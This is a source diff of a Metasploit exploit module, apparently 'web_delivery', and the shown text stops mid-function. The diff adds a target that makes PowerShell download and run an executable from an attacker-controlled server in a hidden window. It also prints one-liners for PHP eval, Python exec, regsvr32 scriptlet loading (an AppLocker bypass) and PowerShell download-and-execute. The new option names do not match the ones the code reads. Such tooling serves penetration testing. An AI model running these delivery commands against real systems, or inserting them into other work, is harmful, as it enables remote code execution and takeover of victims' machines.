diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 5b652e1a7c..873185fd37 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -8,6 +8,7 @@ require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking + include Msf::Exploit::EXE include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer @@ -31,6 +32,8 @@ class MetasploitModule < Msf::Exploit::Remote The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. + + "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed. ), 'License' => MSF_LICENSE, 'Author' => @@ -40,6 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Chris Campbell', # @obscuresec - Inspiration n.b. no relation! 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) 'Trenton Ivey', # AppLocker MSF Module (kn0) + 'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'DefaultOptions' => { @@ -71,6 +75,10 @@ class MetasploitModule < Msf::Exploit::Remote ['Regsvr32', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] + }], + ['PSH (Binary)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] }] ], 'DefaultTarget' => 0, @@ -79,32 +87,43 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options( [ - OptBool.new('PSH-Proxy', [ true, 'PowerShell - Use the system proxy', true ]) + OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), + OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]), + OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]), ], self.class ) end def primer - url = get_uri + php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));") + python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());") + regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll) + print_status("Run the following command on the target machine:") case target.name when 'PHP' - print_line(%Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{url}'));")) + print_line("#{php}") when 'Python' - print_line(%Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());")) + print_line("#{python}") when 'PSH' - print_line(gen_psh(url)) + psh = gen_psh("#{get_uri}", "string") + print_line("#{psh}") when 'Regsvr32' - print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll") + print_line("#{regsvr}") + when 'PSH (Binary)' + psh = gen_psh("#{get_uri}", "download") + print_line("#{psh}") end end def on_request_uri(cli, _request) if _request.raw_uri =~ /\.sct$/ - psh = gen_psh(get_uri) + psh = gen_psh("#{get_uri}", "string") data = gen_sct_file(psh) + elsif target.name.include? 'PSH (Binary)' + data = generate_payload_exe elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32' data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, @@ -125,10 +144,34 @@ class MetasploitModule < Msf::Exploit::Remote end - def gen_psh(url) + def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl - download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) - download_and_run = "#{ignore_cert}#{download_string}" + + if method.include? 'string' + download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) + download_and_run = "#{ignore_cert}#{download_string}" + else + # Random filename to use, if there isn't anything set + random = "#{rand_text_alphanumeric 8}.exe" + + # Set filename (Use random filename if empty) + filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] + + # Set path (Use %TEMP% if empty) + path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') + + # Join Path and Filename + file = %Q(echo (#{path}+'\\#{filename}')) + + # Generate download PowerShell command + #download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL + download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^ + + # Join PowerShell commands up + download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z" + end + + # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run